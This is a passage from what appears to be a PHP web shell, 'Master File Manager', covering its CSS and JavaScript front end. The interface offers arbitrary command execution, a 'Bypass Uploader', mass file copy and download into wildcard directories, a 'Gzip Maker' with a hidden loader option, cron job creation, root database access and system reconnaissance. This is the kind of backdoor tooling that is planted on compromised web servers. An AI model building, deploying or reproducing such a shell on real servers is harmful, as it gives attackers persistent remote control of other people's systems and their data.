        background: #111;
        padding: 10px;
        margin: 10px 0 20px 0;
        border: 1px solid #333;
        display: flex;
        flex-wrap: wrap;
        gap: 8px;
        border-radius: 5px;
    }
    
    .menu a {
        background: #1a1a1a;
        color: #0f0;
        padding: 6px 12px;
        text-decoration: none;
        border-radius: 4px;
        font-size: 12px;
        transition: all 0.2s;
        cursor: pointer;
    }
    
    .menu a:hover {
        background: #0f0;
        color: #000;
    }
    
    /* Panel */
    .panel {
        background: #0f0f0f;
        padding: 20px;
        margin: 15px 0;
        border: 1px solid #333;
        border-radius: 8px;
    }
    
    .panel h2 {
        font-size: 16px;
        margin-bottom: 15px;
        padding-bottom: 10px;
        border-bottom: 1px solid #333;
    }
    
    .panel h3 {
        font-size: 14px;
        margin-bottom: 10px;
        color: #0f0;
    }
    
    /* Breadcrumb */
    .breadcrumb {
        background: #111;
        padding: 10px 15px;
        margin: 10px 0;
        border: 1px solid #333;
        border-radius: 5px;
        font-size: 12px;
        word-break: break-all;
    }
    
    .breadcrumb a {
        color: #0ff;
        text-decoration: none;
    }
    
    .breadcrumb a:hover {
        text-decoration: underline;
    }
    
    /* Search box */
    .search-box {
        background: #111;
        padding: 10px;
        margin: 10px 0;
        display: flex;
        gap: 10px;
        flex-wrap: wrap;
        align-items: center;
        border-radius: 5px;
    }
    
    .search-box input {
        flex: 1;
        min-width: 200px;
    }
    
    /* Form elements */
    input, textarea, select {
        background: #1a1a1a;
        color: #0f0;
        border: 1px solid #333;
        padding: 8px 12px;
        font-family: monospace;
        border-radius: 4px;
    }
    
    input:focus, textarea:focus, select:focus {
        outline: none;
        border-color: #0f0;
    }
    
    button, .btn {
        background: #0f0;
        color: #000;
        border: none;
        padding: 8px 16px;
        cursor: pointer;
        font-family: monospace;
        font-weight: bold;
        border-radius: 4px;
        transition: all 0.2s;
    }
    
    button:hover, .btn:hover {
        background: #0ff;
        transform: scale(1.02);
    }
    
    button:disabled {
        opacity: 0.5;
        cursor: not-allowed;
    }
    
    /* File Table */
    .file-table-wrapper {
        overflow-x: auto;
        margin: 15px 0;
        border-radius: 5px;
    }
    
    .file-table {
        width: 100%;
        border-collapse: collapse;
        font-size: 12px;
    }
    
    .file-table th {
        background: #1a1a1a;
        color: #0f0;
        padding: 10px 8px;
        text-align: left;
        border-bottom: 2px solid #0f0;
    }
    
    .file-table td {
        padding: 8px;
        border-bottom: 1px solid #222;
        vertical-align: middle;
    }
    
    .file-table tr:hover {
        background: #1a2a1a;
    }
    
    /* Action buttons inside table */
    .action-group {
        display: flex;
        flex-wrap: wrap;
        gap: 5px;
        align-items: center;
    }
    
    .action-group input {
        padding: 4px 6px;
        font-size: 11px;
        width: auto;
    }
    
    .btn-small {
        background: #222;
        color: #0f0;
        border: 1px solid #0f0;
        padding: 3px 8px;
        font-size: 11px;
        border-radius: 3px;
        cursor: pointer;
    }
    
    .btn-small:hover {
        background: #0f0;
        color: #000;
    }
    
    .btn-danger {
        background: #600;
        border-color: #f00;
        color: #f99;
    }
    
    .btn-danger:hover {
        background: #c00;
        color: #fff;
    }
    
    /* Action panels */
    .action-panels {
        display: flex;
        flex-wrap: wrap;
        gap: 20px;
        margin-top: 20px;
        padding-top: 20px;
        border-top: 1px solid #333;
    }
    
    .action-panel {
        background: #111;
        padding: 15px;
        border-radius: 5px;
        flex: 1;
        min-width: 200px;
    }
    
    .action-panel h3 {
        font-size: 13px;
        margin-bottom: 10px;
        color: #0f0;
    }
    
    .action-panel input {
        width: 100%;
        margin-bottom: 8px;
    }
    
    /* Tab buttons */
    .tab-buttons {
        display: flex;
        margin: 10px 0;
    }
    
    .tab-btn {
        flex: 1;
        padding: 10px;
        background: #222;
        color: #0f0;
        border: none;
        cursor: pointer;
    }
    
    .tab-btn.active {
        background: #0f0;
        color: #000;
    }
    
    .tab-content {
        display: none;
        background: #111;
        padding: 20px;
        border: 1px solid #333;
        border-top: none;
    }
    
    .tab-content.active {
        display: block;
    }
    
    /* Dropzone */
    .dropzone {
        border: 2px dashed #0f0;
        padding: 30px;
        text-align: center;
        cursor: pointer;
        margin: 10px 0;
    }
    
    .dropzone:hover {
        background: #1a1a1a;
    }
    
    /* Messages */
    .success {
        color: #0f0;
        background: #0a1a0a;
        padding: 10px;
        border-left: 4px solid #0f0;
        margin: 10px 0;
    }
    
    .error {
        color: #f00;
        background: #1a0a0a;
        padding: 10px;
        border-left: 4px solid #f00;
        margin: 10px 0;
    }
    
    .loading {
        display: inline-block;
        width: 20px;
        height: 20px;
        border: 2px solid #0f0;
        border-radius: 50%;
        border-top-color: transparent;
        animation: spin 1s linear infinite;
        margin-right: 8px;
    }
    
    @keyframes spin {
        to { transform: rotate(360deg); }
    }
    
    /* Modal */
    .modal {
        display: none;
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(0,0,0,0.8);
        z-index: 1000;
        justify-content: center;
        align-items: center;
    }
    
    .modal.active {
        display: flex;
    }
    
    .modal-content {
        background: #0f0f0f;
        border: 2px solid #0f0;
        border-radius: 10px;
        padding: 20px;
        width: 90%;
        max-width: 900px;
        max-height: 80%;
        overflow: auto;
    }
    
    .modal-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-bottom: 15px;
        padding-bottom: 10px;
        border-bottom: 1px solid #333;
    }
    
    .modal-close {
        cursor: pointer;
        font-size: 20px;
    }
    
    /* Info table */
    .info-table {
        width: 100%;
        border-collapse: collapse;
    }
    
    .info-table th {
        text-align: left;
        padding: 8px;
        background: #1a1a1a;
        width: 200px;
    }
    
    .info-table td {
        padding: 8px;
        border-bottom: 1px solid #333;
    }
    
    /* Database table */
    .db-table {
        width: 100%;
        border-collapse: collapse;
        font-size: 12px;
        overflow-x: auto;
        display: block;
    }
    
    .db-table th, .db-table td {
        border: 1px solid #333;
        padding: 6px;
        text-align: left;
    }
    
    .db-table th {
        background: #1a1a1a;
        position: sticky;
        top: 0;
    }
    
    /* Responsive */
    @media (max-width: 900px) {
        body { padding: 10px; }
        .file-table th, .file-table td { padding: 6px 4px; }
        .action-group { flex-direction: column; align-items: flex-start; }
        .action-group input { width: 80px; }
    }
    
    @media (max-width: 700px) {
        .hide-mobile { display: none; }
    }
    
    .footer {
        text-align: center;
        margin-top: 30px;
        padding: 15px;
        border-top: 1px solid #333;
        color: #666;
        font-size: 11px;
    }
    
    pre {
        background: #111;
        padding: 10px;
        border: 1px solid #333;
        overflow: auto;
        white-space: pre-wrap;
        word-wrap: break-word;
    }
    
    code {
        background: #1a1a1a;
        padding: 2px 4px;
        border-radius: 3px;
    }
</style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>🔧 Master File Manager v<?php echo MASTER_VERSION; ?> (Complete Edition)</h1>
        <a href="?logout=1" class="logout-btn">🚪 Logout</a>
    </div>
    
    <div class="menu" id="menuBar"></div>
    
    <div id="mainContent">
        <div style="text-align:center;padding:40px">
            <div class="loading"></div> Loading...
        </div>
    </div>
    
    <div class="footer">
        <p>Master File Manager | Protected by bcrypt + Cookie Session | <?php echo date('Y-m-d H:i:s'); ?></p>
    </div>
</div>

// Menu items
const menuItems = [
    { action: 'filemanager', label: '📁 File Manager', icon: '📁' },
    { action: 'mass', label: '📦 Mass Upload', icon: '📦' },
    { action: 'gzip', label: '🔨 Gzip Maker', icon: '🔨' },
    { action: 'multi_upload', label: '📤 Multi Upload', icon: '📤' },
    { action: 'cron', label: '⏰ Cron', icon: '⏰' },
    { action: 'dbmanager', label: '🗄️ DB Manager', icon: '🗄️' },
    { action: 'rawupload', label: '📥 Raw URL', icon: '📥' },
    { action: 'bypass', label: '🔓 Bypass', icon: '🔓' },
    { action: 'extract', label: '📦 Extract', icon: '📦' },
    { action: 'cmd', label: '⌨️ Command', icon: '⌨️' },
    { action: 'security', label: '🔒 Security', icon: '🔒' },
    { action: 'network', label: '🌐 Network', icon: '🌐' },
    { action: 'info', label: 'ℹ️ Info', icon: 'ℹ️' }
];

// Build menu
function buildMenu() {
    const menuBar = document.getElementById('menuBar');
    menuBar.innerHTML = '';
    menuItems.forEach(item => {
        const link = document.createElement('a');
        link.href = 'javascript:void(0)';
        link.innerHTML = `${item.icon} ${item.label}`;
        link.onclick = () => loadAction(item.action);
        menuBar.appendChild(link);
    });
}

// Load action
function loadAction(action) {
    currentAction = action;
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = '<div style="text-align:center;padding:40px"><div class="loading"></div> Loading...</div>';
    
    switch(action) {
        case 'filemanager':
            renderFileManager();
            break;
        case 'mass':
            renderMassUploader();
            break;
        case 'gzip':
            renderGzipMaker();
            break;
        case 'multi_upload':
            renderMultiUpload();
            break;
        case 'cron':
            renderCronManager();
            break;
        case 'dbmanager':
            renderDbManager();
            break;
        case 'rawupload':
            renderRawUpload();
            break;
        case 'bypass':
            renderBypassUploader();
            break;
        case 'extract':
            renderExtractManager();
            break;
        case 'cmd':
            renderCommand();
            break;
        case 'security':
            renderSecurityScan();
            break;
        case 'network':
            renderNetworkTools();
            break;
        case 'info':
            renderInfo();
            break;
        default:
            renderFileManager();
    }
}

// AJAX helper
function ajaxPost(data, callback) {
    const formData = new FormData();
    for (let key in data) {
        formData.append(key, data[key]);
    }
    formData.append('ajax_action', data.ajax_action);
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function() {
        if (xhr.status === 200) {
            try {
                const response = JSON.parse(xhr.responseText);
                callback(response);
            } catch(e) {
                callback({status: 'error', message: 'Parse error: ' + e.message});
            }
        } else {
            callback({status: 'error', message: 'HTTP ' + xhr.status});
        }
    };
    xhr.onerror = function() {
        callback({status: 'error', message: 'Network error'});
    };
    xhr.send(formData);
}

// Escape HTML
function escapeHtml(str) {
    if (!str) return '';
    return String(str).replace(/[&<>]/g, function(m) {
        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}

// Show result message
function showResult(message, status, containerId = 'fileManagerResult') {
    const resultDiv = document.getElementById(containerId);
    if (resultDiv) {
        resultDiv.innerHTML = `<div class="${status === 'success' ? 'success' : 'error'}">${escapeHtml(message)}</div>`;
        setTimeout(() => { resultDiv.innerHTML = ''; }, 3000);
    } else {
        alert(message);
    }
}

// ========== FILE MANAGER ==========
function renderFileManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>📁 File Manager</h2>
            <div class="breadcrumb" id="breadcrumb"></div>
            <div class="search-box">
                <input type="text" id="searchInput" placeholder="🔍 Filter files...">
                <button onclick="searchFiles()">Cari</button>
                <button onclick="refreshFileManager()">Refresh</button>
                <button onclick="createZipFromSelection()" id="zipBtn" style="display:none">📦 Create ZIP</button>
            </div>
            <div class="file-table-wrapper">
                <div id="fileTable"></div>
            </div>
            <div id="fileManagerResult"></div>
            <div class="action-panels">
                <div class="action-panel">
                    <h3>📄 Create File</h3>
                    <input type="text" id="newFileName" placeholder="filename.php">
                    <button onclick="createFile()">Create</button>
                </div>
                <div class="action-panel">
                    <h3>📁 Create Folder</h3>
                    <input type="text" id="newFolderName" placeholder="foldername">
                    <button onclick="createFolder()">Create</button>
                </div>
                <div class="action-panel">
                    <h3>📤 Upload File</h3>
                    <input type="file" id="uploadFile" style="margin-bottom:8px">
                    <button onclick="uploadFile()">Upload</button>
                </div>
            </div>
        </div>
    `;
    refreshFileManager();
}

function searchFiles() {
    refreshFileManager();
}

function goToPath(path) {
    currentPath = path;
    refreshFileManager();
}

let selectedItems = new Set();

// ========== MASS UPLOADER (PERBAIKAN) ==========
function renderMassUploader() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>📦 Mass Uploader</h2>
            <div style="background:#111;padding:15px;margin:10px 0;border-radius:5px">
                <h3>📁 Directory Tujuan</h3>
                <input type="text" id="targetDir" value="${currentPath}" style="width:100%">
                <small>Bisa pakai wildcard * untuk multiple folder</small>
            </div>
            <div style="background:#111;padding:15px;margin:10px 0;border-radius:5px">
                <h3>⚙️ Depth Setting</h3>
                <select id="depth">
                    <option value="0">Depth 0 - Langsung ke folder tujuan</option>
                    <option value="1">Depth 1 - Pertahankan 1 level folder</option>
                </select>
            </div>
            <div class="tab-buttons">
                <button class="tab-btn active" onclick="showMassTab('copy')">📋 Copy File</button>
                <button class="tab-btn" onclick="showMassTab('url')">🌐 URL Download</button>
            </div>
            <div id="massTabCopy" class="tab-content active">
                <h3>📋 Copy File dari Server</h3>
                <textarea id="fileList" style="width:100%;height:150px;font-family:monospace" placeholder="/home/user/file1.txt&#10;/var/www/*.php&#10;/path/to/folder/*"></textarea>
                <button onclick="processMassAction('copy')" style="margin-top:10px">🚀 COPY FILES</button>
            </div>
            <div id="massTabUrl" class="tab-content">
                <h3>🌐 Download dari URL</h3>
                <textarea id="urlList" style="width:100%;height:150px;font-family:monospace" placeholder="https://example.com/file1.jpg&#10;https://example.com/file.php|custom.php"></textarea>
                <button onclick="processMassAction('url')" style="margin-top:10px">🚀 DOWNLOAD FILES</button>
            </div>
            <div id="massResult"></div>
        </div>
    `;
}

// ========== GZIP MAKER ==========
function renderGzipMaker() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>🔨 Gzip Maker</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>📌 Source (path atau URL):</strong></label>
                <input type="text" id="gzipSource" style="width:100%" placeholder="/path/file.php or https://example.com/file.php">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>📛 Gzip Name:</strong></label>
                <input type="text" id="gzipName" style="width:100%" placeholder="Kosong = random">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>🔧 Use Loader?</strong></label><br>
                <label><input type="radio" name="useLoader" value="y" onclick="toggleLoaderDiv(true)"> Ya</label>
                <label><input type="radio" name="useLoader" value="n" checked onclick="toggleLoaderDiv(false)"> Tidak</label>
                <div id="loaderDiv" style="display:none;margin-top:10px">
                    <label>Loader Name:</label>
                    <input type="text" id="loaderName" style="width:100%" placeholder="Kosong = random">
                </div>
            </div>
            <button onclick="processGzip()">🔨 PROSES</button>
            <div id="gzipResult"></div>
        </div>
    `;
}

function toggleLoaderDiv(show) {
    document.getElementById('loaderDiv').style.display = show ? 'block' : 'none';
}

// ========== MULTI UPLOAD ==========
function renderMultiUpload() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>📤 Multi Upload</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>📁 Target Directory:</strong></label>
                <input type="text" id="multiTargetDir" value="${currentPath}" style="width:100%">
            </div>
            <div class="dropzone" id="multiDropzone" onclick="document.getElementById('multiFileInput').click()">
                📂 Drag & drop files here or click to select
            </div>
            <input type="file" id="multiFileInput" multiple style="display:none">
            <div id="multiFileList"></div>
            <button onclick="processMultiUpload()">🚀 Upload All</button>
            <div id="multiResult"></div>
        </div>
    `;
    
    const dropzone = document.getElementById('multiDropzone');
    const fileInput = document.getElementById('multiFileInput');
    
    if (dropzone) {
        dropzone.addEventListener('dragover', (e) => e.preventDefault());
        dropzone.addEventListener('drop', (e) => {
            e.preventDefault();
            fileInput.files = e.dataTransfer.files;
            updateMultiFileList();
        });
    }
    if (fileInput) {
        fileInput.addEventListener('change', () => updateMultiFileList());
    }
}

// ========== RAW URL UPLOAD ==========
function renderRawUpload() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>📥 Raw URL Upload</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>URL:</strong></label>
                <input type="text" id="rawUrl" style="width:100%" placeholder="https://example.com/file.zip">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>Save as (opsional):</strong></label>
                <input type="text" id="rawFilename" style="width:100%" placeholder="Kosong = auto detect">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>📁 Save Path:</strong></label>
                <input type="text" id="rawSavePath" style="width:100%" value="${currentPath}">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>🔄 Rewrite Mode:</strong></label>
                <select id="rawRewriteMode">
                    <option value="skip">Skip if exists</option>
                    <option value="backup">Backup then overwrite</option>
                    <option value="overwrite">Overwrite</option>
                </select>
            </div>
            <button onclick="processRawUpload()">📥 Download & Save</button>
            <div id="rawResult"></div>
        </div>
    `;
}

// ========== BYPASS UPLOADER ==========
function renderBypassUploader() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>🔓 Bypass Uploader</h2>
            <div class="dropzone" onclick="document.getElementById('bypassFileInput').click()">
                📂 Click to select file
            </div>
            <input type="file" id="bypassFileInput" style="display:none">
            <button onclick="processBypassUpload()">🚀 Upload</button>
            <div id="bypassResult"></div>
        </div>
    `;
}

// ========== EXTRACT MANAGER ==========
function renderExtractManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>📦 Extract / Unzip Files</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>📦 ZIP File:</strong></label>
                <input type="text" id="extractZipFile" style="width:100%" placeholder="/path/to/file.zip">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>📁 Extract To:</strong></label>
                <input type="text" id="extractTo" style="width:100%" value="${currentPath}">
            </div>
            <button onclick="processExtract()">📦 Extract Now</button>
            <div id="extractResult"></div>
        </div>
    `;
}

// ========== CRON MANAGER ==========
function renderCronManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>⏰ Cron Job Manager</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>➕ Add Cron Job</h3>
                <input type="text" id="cronSchedule" style="width:100%" placeholder="* * * * *" value="* * * * *">
                <input type="text" id="cronCommand" style="width:100%;margin-top:10px" placeholder="/usr/bin/php /path/to/script.php">
                <button onclick="addCron()" style="margin-top:10px">Add Cron</button>
            </div>
            <div id="cronList"></div>
            <div class="info" style="margin-top:15px">
                <pre>Cron Format: * * * * * command
│ │ │ │ │
│ │ │ │ └─ Day of week (0-7, 0 or 7 = Sunday)
│ │ │ └─── Month (1-12)
│ │ └───── Day of month (1-31)
│ └─────── Hour (0-23)
└───────── Minute (0-59)</pre>
            </div>
        </div>
    `;
    refreshCronList();
}

// ========== DATABASE MANAGER ==========
function renderDbManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>🗄️ Database Manager</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>🔌 Database Connection</h3>
                <input type="text" id="dbHost" placeholder="Host" value="localhost" style="width:100%">
                <input type="text" id="dbUser" placeholder="Username" value="root" style="width:100%;margin-top:10px">
                <input type="password" id="dbPass" placeholder="Password" style="width:100%;margin-top:10px">
                <input type="text" id="dbName" placeholder="Database Name (optional)" style="width:100%;margin-top:10px">
                <input type="text" id="dbPort" placeholder="Port" value="3306" style="width:100%;margin-top:10px">
                <button onclick="connectDatabase()" style="margin-top:10px">🔌 Connect</button>
            </div>
            <div id="dbResult"></div>
        </div>
    `;
}

function selectDatabase() {
    dbConfig.name = document.getElementById('dbSelect').value;
    connectDatabase();
}

// ========== COMMAND ==========
function renderCommand() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>⌨️ Command Execution</h2>
            <div style="display:flex;gap:10px;flex-wrap:wrap">
                <input type="text" id="cmdInput" style="flex:1" placeholder="ls -la" onkeypress="if(event.keyCode===13) executeCommand()">
                <button onclick="executeCommand()">Execute</button>
            </div>
            <div id="cmdOutput" style="background:#0a0a0a;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:500px;border-radius:5px"></div>
        </div>
    `;
}

// ========== SECURITY SCAN ==========
function renderSecurityScan() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>🔒 Security Scan</h2>
            <button onclick="runSecurityScan()">🛡️ Run Security Scan</button>
            <div id="securityResult"></div>
        </div>
    `;
}

// ========== NETWORK TOOLS ==========
function renderNetworkTools() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>🌐 Network Tools</h2>
            <div class="tab-buttons">
                <button class="tab-btn active" onclick="showNetworkTab('ping')">📡 Ping</button>
                <button class="tab-btn" onclick="showNetworkTab('curl')">🌍 cURL</button>
                <button class="tab-btn" onclick="showNetworkTab('nslookup')">🔍 NSLookup</button>
            </div>
            <div id="pingTab" class="tab-content active">
                <h3>Ping</h3>
                <div style="display:flex;gap:10px">
                    <input type="text" id="pingHost" style="flex:1" placeholder="google.com">
                    <button onclick="doPing()">Ping</button>
                </div>
            </div>
            <div id="curlTab" class="tab-content">
                <h3>cURL</h3>
                <div style="display:flex;gap:10px">
                    <input type="text" id="curlUrl" style="flex:1" placeholder="https://example.com">
                    <button onclick="doCurl()">cURL</button>
                </div>
            </div>
            <div id="nslookupTab" class="tab-content">
                <h3>NSLookup</h3>
                <div style="display:flex;gap:10px">
                    <input type="text" id="nslookupDomain" style="flex:1" placeholder="google.com">
                    <button onclick="doNslookup()">Lookup</button>
                </div>
            </div>
            <div id="networkResult" style="background:#0a0a0a;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:400px"></div>
        </div>
    `;
}

// ========== INFO ==========
function renderInfo() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>ℹ️ System Information</h2>
            <button onclick="refreshInfo()">🔄 Refresh</button>
            <div id="infoResult" style="margin-top:15px"></div>
        </div>
    `;
    refreshInfo();
}

// Initialize
buildMenu();
loadAction('filemanager');
</script>
</body>
</html>
<?php
?>

Cancel